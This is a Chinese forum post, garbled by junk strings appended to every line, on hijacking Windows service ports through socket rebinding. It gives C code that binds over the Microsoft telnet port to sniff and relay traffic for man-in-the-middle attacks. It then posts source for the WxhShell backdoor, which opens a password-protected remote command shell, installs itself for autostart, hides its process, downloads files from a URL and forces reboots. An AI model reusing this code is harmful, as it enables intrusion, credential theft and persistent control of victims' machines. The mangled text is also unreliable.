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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pdi=6<?bd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (lN;xT`=  
HCJ8@nki  
  saddr.sin_family = AF_INET; 9'n))%CZ.  
xi?P(s A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s ~Lfi.  
:J Gl>V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -OrY{^F  
0\cnc^Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1c)\  
=|E 09  
  这意味着什么?意味着可以进行如下的攻击: \m=-8KpU  
8 _4l"v p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8 )mjy!,  
-7I1Lh#M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F<yy>Wf  
q}<.x8\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1iNsX\M  
oNuPP5d[]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C{UF~  
PG6[lHmi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -}Cc"qm  
Mhe |eD#)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (!ZQ  
rb:<N%*t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1KTabj/C  
@PPR$4  
  #include a{]g+tGH  
  #include l_c^ .D  
  #include *?_qE  
  #include    `E} p77  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *.m{jgi1X  
  int main() r"{Is?yKe  
  { N>d|A]zH  
  WORD wVersionRequested; ,4H;P/xsb  
  DWORD ret; }rz dm9  
  WSADATA wsaData; xdd:yrC   
  BOOL val; Gr5`1`8|  
  SOCKADDR_IN saddr; p!+L  
  SOCKADDR_IN scaddr; X,RT<GNNb  
  int err; (TEo_BW|+  
  SOCKET s; ${hyNt  
  SOCKET sc; R9tckRG#  
  int caddsize; O9t=lrYV!  
  HANDLE mt; N@Xg5huO  
  DWORD tid;   7fTxGm  
  wVersionRequested = MAKEWORD( 2, 2 ); 1@A7h$1P  
  err = WSAStartup( wVersionRequested, &wsaData ); cVQatm  
  if ( err != 0 ) { xi6 80'  
  printf("error!WSAStartup failed!\n"); ^Sy^+=wK3  
  return -1; 29"mE;j  
  } EHpu*P~W  
  saddr.sin_family = AF_INET; j\2] M  
   44|deE3Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2?GXkPF2;A  
8#+`9GI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $brKl8P  
  saddr.sin_port = htons(23); 9v~1We;{$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bj@x$v#/^  
  { Bu7A{DRf  
  printf("error!socket failed!\n"); >9-Dd)<  
  return -1; 0jBKCu  
  } \Y*!f|=of  
  val = TRUE; 9c#lLKrzG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6#<Ir @z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c}\ ' x5:o  
  { ! L4dUMo  
  printf("error!setsockopt failed!\n"); Dba+z-3Nzy  
  return -1; B-!guf rnY  
  } "E.\6sC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xM&EL>m>L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^~^mR#<P$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %VzYqj_P"  
Q"A_bdg5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :I2H&,JT  
  { uu}'i\Q  
  ret=GetLastError(); 8{oZi]ob  
  printf("error!bind failed!\n"); vx'l> @]k  
  return -1; #`/bQ~s  
  } sNL+F  
  listen(s,2); f[x~)=  
  while(1) s~L`53A  
  { $( S*GF$S  
  caddsize = sizeof(scaddr); .+OB!'dDK^  
  //接受连接请求 c8T/4hU MN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Tru c[A.2Z  
  if(sc!=INVALID_SOCKET) >GgE,h  
  { V]Sgx00;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); > 84e`aGE  
  if(mt==NULL) K k7GZ  
  { *t^eNUA  
  printf("Thread Creat Failed!\n"); NN^QUB  
  break; "c6<zP  
  } j(sLK &  
  } W;qP=DK2  
  CloseHandle(mt); 47KNT7C  
  } 8+ov(B;(  
  closesocket(s); GSP?X$E  
  WSACleanup(); YNI;h%w  
  return 0; SgiDh dE  
  }   C#0brCQq3  
  DWORD WINAPI ClientThread(LPVOID lpParam) EOhC6>ATh  
  { [O\9 9>  
  SOCKET ss = (SOCKET)lpParam; "9w}dQ  
  SOCKET sc; fTcY"A,2  
  unsigned char buf[4096]; -OWZ6#v(  
  SOCKADDR_IN saddr; #*^e,FF<  
  long num; 4h;4!I|  
  DWORD val; n,CD  
  DWORD ret; !:3^ hb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Yr=8!iR$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sds}bo  
  saddr.sin_family = AF_INET; rkq#7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y~}5axSPH  
  saddr.sin_port = htons(23); [_V:)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ul$,q05nb  
  { iA9 E^  
  printf("error!socket failed!\n"); nWk e#{[  
  return -1; ~T% Ui#Gc  
  } e9 *lixh  
  val = 100; 4Ac}(N5D@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )9B:Y;>)  
  { TKo<~?  
  ret = GetLastError(); #ra*f~G  
  return -1; +Juh:1H  
  } 2 L:$aZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W2hA-1  
  { ~cIl$b  
  ret = GetLastError(); "kU]  
  return -1; ytiyF2Kp  
  } o,1Dqg4P3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z3W3=@  
  { J#''q"rZ  
  printf("error!socket connect failed!\n"); n}JPYu  
  closesocket(sc); 9Sz7\W0  
  closesocket(ss); *}w+ 68eO  
  return -1; wG8 nw;  
  } &))\2pl  
  while(1) 0elxA8Z~e  
  { vQgq]mA?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BZ+;n |<r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6WeM rWx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~>g+2]Bn>$  
  num = recv(ss,buf,4096,0); -9d%+O~v6~  
  if(num>0) f}iU& 3S  
  send(sc,buf,num,0); dw9T f^V  
  else if(num==0) +P)ys#=  
  break; Wo!;K|~P  
  num = recv(sc,buf,4096,0); u h )o  
  if(num>0) {n&Uf{  
  send(ss,buf,num,0); k3>YBf`fC  
  else if(num==0) W:vr@e6  
  break; [9AM\n>g  
  } F?BS717qS%  
  closesocket(ss); cDIBDC  
  closesocket(sc); 6e.[,-eU  
  return 0 ; APq7 f8t  
  } E{% SR  
U*\17YU6h  
G?xJv`"9iC  
========================================================== Bd# TUy  
O,'#C\   
下边附上一个代码,,WXhSHELL E7`qmn  
{[W(a<%bXm  
========================================================== ]Lm'RlV  
8EI:(NE*J  
#include "stdafx.h" "%@v++4y  
6pp$-uS  
#include <stdio.h> S)7/0N79A  
#include <string.h> ix&'0IrX*  
#include <windows.h> Qnt5HSSt  
#include <winsock2.h> `*_CElpP"  
#include <winsvc.h> E oe}l   
#include <urlmon.h> cU8xUpq  
<cj{Qk  
#pragma comment (lib, "Ws2_32.lib") Ryv_1gR!  
#pragma comment (lib, "urlmon.lib") S&wzB)#'  
J# EP%  
#define MAX_USER   100 // 最大客户端连接数 l'"'o~MC  
#define BUF_SOCK   200 // sock buffer 5JSrrpGr  
#define KEY_BUFF   255 // 输入 buffer -c+]Wm"\  
i=#F)AD^5#  
#define REBOOT     0   // 重启 !OAvD#  
#define SHUTDOWN   1   // 关机 1m)M;^_  
HdNnUDb$B  
#define DEF_PORT   5000 // 监听端口 o35fifM`  
JvL{| KtyU  
#define REG_LEN     16   // 注册表键长度 =;ICa~`C;  
#define SVC_LEN     80   // NT服务名长度  3+U]?7t  
?fK1  
// 从dll定义API 6R4<J% $P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,Eu?JH&}u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (MLhaux-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s&Yi 6:J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -6C +LbV  
r,NgG!zq<  
// wxhshell配置信息 6N" l{!  
struct WSCFG { ~x]9SXD%  
  int ws_port;         // 监听端口 |5MbAqjzC  
  char ws_passstr[REG_LEN]; // 口令 N+g@8Q2s;5  
  int ws_autoins;       // 安装标记, 1=yes 0=no goZ V.,w  
  char ws_regname[REG_LEN]; // 注册表键名 <Ef[c@3  
  char ws_svcname[REG_LEN]; // 服务名 h-QLV[^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e.vtEQV9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J2M(1g)t9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r:g9Z_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +ts0^;QO2{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D/ Dt   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vw~\H Gs/~  
@PSLs *  
}; w/m:{cHk  
7wVH8^|  
// default Wxhshell configuration ^4pto$#@O:  
struct WSCFG wscfg={DEF_PORT, rx!=q8=0R  
    "xuhuanlingzhe", n7! H:{L  
    1, FHg0E++?  
    "Wxhshell", 6v732;^  
    "Wxhshell", >: Wau  
            "WxhShell Service", ^%<pJMgdF  
    "Wrsky Windows CmdShell Service", K7(MD1tk  
    "Please Input Your Password: ", r>t1 _b+nu  
  1, ,wj"! o#  
  "http://www.wrsky.com/wxhshell.exe", ;_+uSalt  
  "Wxhshell.exe" m_7 nz!h  
    }; dh -,E  
d) ahF[82  
// 消息定义模块 m%r/O&g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #wR;|pN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zv!{{XO2;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,r^"#C0J}  
char *msg_ws_ext="\n\rExit."; z5 m>H;P  
char *msg_ws_end="\n\rQuit."; 2A:,;~UH  
char *msg_ws_boot="\n\rReboot..."; A9:NKY{z  
char *msg_ws_poff="\n\rShutdown..."; uGVy6,  
char *msg_ws_down="\n\rSave to "; Da1aI]{I  
I'!/[\_  
char *msg_ws_err="\n\rErr!"; MaY682}|y  
char *msg_ws_ok="\n\rOK!"; k%81f'H  
'7 )"  
char ExeFile[MAX_PATH]; mUP.rb6  
int nUser = 0; `V!>J 1x  
HANDLE handles[MAX_USER]; s8mr''  
int OsIsNt; 0L-!! c3  
5iX! lAFJ  
SERVICE_STATUS       serviceStatus; cP>o+-)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m$2<`C=  
q1{H~VSn"  
// 函数声明 ^{yk[tHpS  
int Install(void); 9 c3E+  
int Uninstall(void); AMCyj`Ur  
int DownloadFile(char *sURL, SOCKET wsh); L>9R4:g  
int Boot(int flag); ip:LcGt  
void HideProc(void); ;;U :Jtn2  
int GetOsVer(void); tkKJh !Q7  
int Wxhshell(SOCKET wsl); {6Au3gt/  
void TalkWithClient(void *cs); rofNZ;nu  
int CmdShell(SOCKET sock); q_fam,9  
int StartFromService(void); x3G:(YfO  
int StartWxhshell(LPSTR lpCmdLine); L ^`}J7r  
,xi({{L*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z j{s}*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]0j9>s2|Z  
X$n(-65  
// 数据结构和表定义 zu\`1W^  
SERVICE_TABLE_ENTRY DispatchTable[] = 6 ,b"  
{ j<yiNHC  
{wscfg.ws_svcname, NTServiceMain}, P 7D!6q  
{NULL, NULL} F7}-!  
}; _e<o7Y@_  
T6BFX0$  
// 自我安装 A#y@`} ]!'  
int Install(void) r,(Mu  
{ Y3U9:VB  
  char svExeFile[MAX_PATH]; +cu^%CXT  
  HKEY key; k!L@GQ  
  strcpy(svExeFile,ExeFile); zTm]AG|0  
^A_;#vK  
// 如果是win9x系统,修改注册表设为自启动 {8RFK4! V@  
if(!OsIsNt) { B4H!5b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g_.^O$}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m_NCx]#e   
  RegCloseKey(key); EG<s_d?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8At<Wic  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ['qnn|  
  RegCloseKey(key);  :$r ^_  
  return 0; L"+$Wc[|  
    } 2f:^S/.A  
  } evuZY X@  
} BOVPKX  
else { Q[4: xkU  
fxQN+6;  
// 如果是NT以上系统,安装为系统服务 $iw%(H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %yS3&Ju  
if (schSCManager!=0) 3251Vq %  
{ H*I4xT@  
  SC_HANDLE schService = CreateService G;iEo4\?  
  ( y' C-[nk  
  schSCManager, Tny> D0Z#  
  wscfg.ws_svcname, Z}6^ve  
  wscfg.ws_svcdisp, R W/z1  
  SERVICE_ALL_ACCESS, 5jcte< 5I_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S=|@L<O  
  SERVICE_AUTO_START, L@Nu/(pB=  
  SERVICE_ERROR_NORMAL, LRb, VD:/Y  
  svExeFile, 4_?7&G0(  
  NULL, 'fd1Pj9~$  
  NULL, i b6^x:HGU  
  NULL, AONDx3[   
  NULL, G=9d&N  
  NULL gXFWxT8S  
  ); cI0 ]}S  
  if (schService!=0) d9^E.8p$  
  { 30j|D3-  
  CloseServiceHandle(schService); \_6OCVil  
  CloseServiceHandle(schSCManager); #;KsJb)N.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $14:(<  
  strcat(svExeFile,wscfg.ws_svcname); #\rwLpC1u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u,. 3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J;Rv ~<7  
  RegCloseKey(key); Zo-$z8  
  return 0; \E1U@6a  
    } ,L> ar)B  
  } QCOo  
  CloseServiceHandle(schSCManager); ^rNUAj9Z  
} +C]&2zc.  
} j{++6<tr  
256LHY|6  
return 1; y2L#:[8  
} }ut]\]b  
F"+o@9]  
// 自我卸载 m` AK~O2  
int Uninstall(void) /u<nLj1  
{ {}~:&.D  
  HKEY key; Kb ;dKQ  
/7c~nBU  
if(!OsIsNt) { RBKOM$7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :*514N  
  RegDeleteValue(key,wscfg.ws_regname); ]jMKC8uz  
  RegCloseKey(key); tl yJmdl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T.e.{yO  
  RegDeleteValue(key,wscfg.ws_regname); [IZM.r`Z  
  RegCloseKey(key); x[_=#8~.1x  
  return 0; 8,T4lb<<  
  } IIFMYl gF  
} fT\:V5-  
} )=pD%$iq  
else { } l 667N  
zt24qTKL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t0&@h\K  
if (schSCManager!=0) R{YzH56M  
{ a dfR!&J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NcS.49  
  if (schService!=0) ;Y9=!.Ak0y  
  { ff? t[GS  
  if(DeleteService(schService)!=0) { :Sg&0Wj+#j  
  CloseServiceHandle(schService); .>g1 $rj  
  CloseServiceHandle(schSCManager); , $*IzL~  
  return 0; +\ _{x/u1  
  } eP1nUy=T  
  CloseServiceHandle(schService); 5/><$06rq  
  } X?r48l??  
  CloseServiceHandle(schSCManager); cV K7  
} 0rSIfYZa  
} [4Ll0GSp  
{16<^  
return 1; pE]?x $5U  
} ,V] ]: eR  
)>\}~s  
// 从指定url下载文件  ,*id'=S  
int DownloadFile(char *sURL, SOCKET wsh) F'P Qqb{  
{ Lz9#A.  
  HRESULT hr; 9;t]Hp_+K  
char seps[]= "/"; 6SM:x]`##,  
char *token; AbwbAm+  
char *file; FVsj;  
char myURL[MAX_PATH]; 83~ i:+;  
char myFILE[MAX_PATH]; pcS+o  
b}9[s  
strcpy(myURL,sURL); FwAKP>6*  
  token=strtok(myURL,seps); \BV 0zKd  
  while(token!=NULL) D0G-5}s`  
  { eitu!=u  
    file=token; CBT>"sYE1  
  token=strtok(NULL,seps); |f( ~@Q:  
  } |k 2"_  
CJknJn3m&  
GetCurrentDirectory(MAX_PATH,myFILE); I+ l%Sn#\  
strcat(myFILE, "\\"); ^>&k]T`  
strcat(myFILE, file); NUJ~YWO;  
  send(wsh,myFILE,strlen(myFILE),0); 9<E g}Ic  
send(wsh,"...",3,0); mdih-u(T|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ITJ q  
  if(hr==S_OK) jn%kG ~]'Q  
return 0; F!!N9VIC  
else -cF'2Sfr  
return 1; ~,6b_W p/  
5AeQQU  
} sd re#@n}  
l.)}t)my}  
// 系统电源模块 o}Cq.[G4k  
int Boot(int flag) +t)n;JHN  
{ kYwb -;  
  HANDLE hToken; ws/63 d*  
  TOKEN_PRIVILEGES tkp; FN[R(SLbL  
Zi$ziDz&  
  if(OsIsNt) { )ukpJ z""  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >RI>J.~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GyI-)Bl DC  
    tkp.PrivilegeCount = 1; ~ AQp|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3:/'n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9%)=`W  
if(flag==REBOOT) { O09ke-lC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,1{Ep`  
  return 0; / jTT5  
} :6kjEI  
else { h~Q)Uy5N(D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >-< 8N-@"n  
  return 0; R>@uY( >dJ  
} Vn=qV3OE]  
  } Q/>L_S  
  else { 2GmpCy`L"  
if(flag==REBOOT) { mY!iu(R1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R\Z: n*  
  return 0; NF$\^WvYSP  
} qk(P>q8[  
else { g+8hp@a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1n*W2:,z  
  return 0; ~`#-d ^s:  
} (WlIwKP  
} .S\&L-{  
xFv;1Q  
return 1; Oeya%C5'  
} \a^,sV  
th5g\h%j*  
// win9x进程隐藏模块 ^}yg%+  
void HideProc(void) g|<Sfp+;+  
{ ra '  
,hxkk`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \[2lvft!  
  if ( hKernel != NULL ) wmr-}Y!9u%  
  { u0`o A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N6oq90G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "%2xR[NF  
    FreeLibrary(hKernel); ~vdkFc(8B  
  } W{cY6@  
Q-TV*FD.  
return; &:*q_$]Oz  
} .4.pJbOg  
c8 K3.&P6  
// 获取操作系统版本 3B0lb "e  
int GetOsVer(void) ]LPQYL  
{ cFd > oDS  
  OSVERSIONINFO winfo; i=FQGWAUu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `ejUs]SR  
  GetVersionEx(&winfo); y? (2U6c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XkKC!  
  return 1; QvPD8B  
  else wt }9B[  
  return 0; o6kNx>tc)  
} hmbj*8  
AF\T\mtvRm  
// 客户端句柄模块 C"T1MTB  
int Wxhshell(SOCKET wsl) 7XrfuG*L$  
{ cvsz%:Vs  
  SOCKET wsh; z +2V4s=  
  struct sockaddr_in client; wgeNs9L  
  DWORD myID; pj|pcv^  
>:sUL<p  
  while(nUser<MAX_USER) tS# `.F~y  
{ 5 +9 Ze9  
  int nSize=sizeof(client); :bU(S<%M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ac k}QzXO  
  if(wsh==INVALID_SOCKET) return 1; :HViX:]H  
+~Cy$M CX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F r?z"  
if(handles[nUser]==0) e59dVFug.U  
  closesocket(wsh); P3tx|:gV  
else 7iC *Pr  
  nUser++; TTNk r`  
  } 8 }'|]JK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3. WF}8  
8U2dcx:G3  
  return 0; `rY2up#%  
} )n7l'}o?+  
)YW<" $s  
// 关闭 socket `RQ#.   
void CloseIt(SOCKET wsh) 92W&x'  
{ DLE8+NV8   
closesocket(wsh); vy@rQC %9  
nUser--; g{s'GyV8t  
ExitThread(0); e= P  
} JYqSL)Ta*t  
nCg66-3A  
// 客户端请求句柄  EEy$w1ec  
void TalkWithClient(void *cs) lEL78l.  
{ 01a-{&   
u8b2$D  
  SOCKET wsh=(SOCKET)cs; !,$i6gm  
  char pwd[SVC_LEN]; 1nj(h g  
  char cmd[KEY_BUFF]; `<\}FS`'  
char chr[1]; beY=g7|  
int i,j; Ru!He,k7  
Sywu=b  
  while (nUser < MAX_USER) { j{VGClb=T  
{xcZ*m!B  
if(wscfg.ws_passstr) { s3s4OAY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hi =XYC,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;_kzcK!l  
  //ZeroMemory(pwd,KEY_BUFF); &UHPX?x  
      i=0; _=6 rE  
  while(i<SVC_LEN) { z|R,&~:  
w [>;a.$  
  // 设置超时 _S0+;9fhY  
  fd_set FdRead; &YP#M |  
  struct timeval TimeOut; USJ- e  
  FD_ZERO(&FdRead);  2B~wHv  
  FD_SET(wsh,&FdRead); l kIn%=Z  
  TimeOut.tv_sec=8; z5\;OLJS,  
  TimeOut.tv_usec=0; `XTh1Z\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ths_CKwgWY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  /RZR}  
fr6^nDY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Yb _D/  
  pwd=chr[0]; ~0"p*?^  
  if(chr[0]==0xd || chr[0]==0xa) { iItcN;;7  
  pwd=0; q*jNH\|  
  break; c{ZY,C&<  
  } BI[JATZG  
  i++; Q3W#`6jpF  
    } ;|%dY{L-  
;E2>Ovv  
  // 如果是非法用户,关闭 socket 4S0>-?{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K?x,T8<aW  
} $>M<j  
f}c\_}(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); txql 2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HY;o ^drd  
cNpe_LvW  
while(1) { }S-DB#6  
wbyE;W  
  ZeroMemory(cmd,KEY_BUFF); '&O/g<Z}q  
^(}585b  
      // 自动支持客户端 telnet标准   @*N )i?>  
  j=0; w JwX[\  
  while(j<KEY_BUFF) { $Kj&)&M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %b.UPS@I  
  cmd[j]=chr[0];  q}Z3?W  
  if(chr[0]==0xa || chr[0]==0xd) { T70QJ=,  
  cmd[j]=0; FxG7Pk+=  
  break; 6Z?j AXGSq  
  } @xsP5je]  
  j++; aMARZ)V  
    } v;#=e$%}MO  
{@}?k s5  
  // 下载文件 .Jb$l$5'w  
  if(strstr(cmd,"http://")) { .V9e=yW!*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zboF 1v`  
  if(DownloadFile(cmd,wsh)) fJ*:{48  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hw_JDv+  
  else PALl sGlf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C.:=lo B  
  } NBh%:tu7M  
  else { u.pxz8  
Sx gYjIa-  
    switch(cmd[0]) { I7QCYB|  
  h<l1]h+x  
  // 帮助 :^ i9]  
  case '?': { pqM~l&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jkAAqRR  
    break; d<w~jP\  
  } (fD ;g9  
  // 安装 h 6G/O`:  
  case 'i': { >>[/UFC)n  
    if(Install()) ln*icaDqf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~s Qjl]  
    else ?zJpD8e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hli|B+:m"  
    break; e)nimq {6  
    } G |*(8r()  
  // 卸载 +,+vkpL-%  
  case 'r': { WE}kTq  
    if(Uninstall()) Hs"(@eDV&J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6TWWl U^e  
    else 5/[H+O1;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u/b7Z`yX}  
    break; kID[#g'  
    } Q0?\]2eet9  
  // 显示 wxhshell 所在路径 gIWrlIV{9  
  case 'p': { mAgF73,3  
    char svExeFile[MAX_PATH]; J`M&{UP  
    strcpy(svExeFile,"\n\r"); n;HHogA  
      strcat(svExeFile,ExeFile); r,SnXjp@  
        send(wsh,svExeFile,strlen(svExeFile),0); wCMQPt)VS  
    break; +`mGK:>  
    } ymY1o$qWB}  
  // 重启 5OIc(YhYf  
  case 'b': { K)7zKEp`cj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MOn,Db$  
    if(Boot(REBOOT)) A % Q!^d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e[u?_h  
    else { {",MCu_V  
    closesocket(wsh); 2 gq$C"  
    ExitThread(0);  GJi~y  
    } 05Fz@31~  
    break; 148V2H)  
    } ?[TfpAtQ`  
  // 关机 dCYCHHHF  
  case 'd': { Zt -1h{7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); + Y.1)i}  
    if(Boot(SHUTDOWN)) _R|Ify#J  
